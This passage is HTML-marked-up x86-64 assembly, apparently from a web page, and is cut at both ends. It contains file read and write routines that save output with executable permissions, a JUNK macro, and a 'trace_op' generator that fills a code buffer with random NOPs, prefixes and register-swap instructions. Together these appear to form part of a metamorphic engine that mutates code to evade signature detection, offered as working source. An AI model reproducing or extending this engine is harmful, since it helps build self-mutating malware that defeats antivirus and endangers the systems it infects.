    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_fstat&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.close_e&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="c1"&gt;; file size from stat&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;

    &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.empty&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; bytes read cnt&lt;/span&gt;

&lt;span class="nl"&gt;.read_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_read&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; offset into buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; remaining bytes to read&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.read_done&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.read_done&lt;/span&gt;          &lt;span class="c1"&gt;; EOF or error&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.read_loop&lt;/span&gt;

&lt;span class="nl"&gt;.read_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; return bytes read&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.empty:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.close_e:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;write_f:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;            &lt;span class="c1"&gt;; filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;            &lt;span class="c1"&gt;; buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;            &lt;span class="c1"&gt;; size&lt;/span&gt;

    &lt;span class="c1"&gt;; validate inputs&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_s&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_WRONLY&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;O_CREAT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;O_TRUNC&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0755&lt;/span&gt;&lt;span class="nv"&gt;o&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;            &lt;span class="c1"&gt;; fd&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; bytes written cnt&lt;/span&gt;

&lt;span class="nl"&gt;.write_lp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; offset into buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; remaining bytes&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_c&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.r_close&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.write_lp&lt;/span&gt;

&lt;span class="nl"&gt;.write_c:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;

&lt;span class="nl"&gt;.write_s:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;            &lt;span class="c1"&gt;; success&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.r_close:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
&lt;span class="nl"&gt;.write_er:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; instruction generator&lt;/span&gt;
&lt;span class="nl"&gt;trace_op:&lt;/span&gt;
    &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="c1"&gt;; instruction size check&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.rex_xchg&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.write_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.write_nop&lt;/span&gt;

&lt;span class="nl"&gt;.bounds_er:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.write_nop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;NOP&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.write_prefix:&lt;/span&gt;
    &lt;span class="c1"&gt;; validate register (0-3 only)&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;prefixes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;              &lt;span class="c1"&gt;; rax,rbx,rcx,rdx only&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.rex_xchg:&lt;/span&gt;
    &lt;span class="c1"&gt;; generate REX.W XCHG&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="c1"&gt;; get different register&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.rex_xchg&lt;/span&gt;            &lt;span class="c1"&gt;; retry if same&lt;/span&gt;

    &lt;span class="c1"&gt;; build REX.W XCHG r1, r2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;REX_W&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;XCHG_OP&lt;/span&gt;

    &lt;span class="c1"&gt;; ModR/M byte&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XCHG_BASE&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
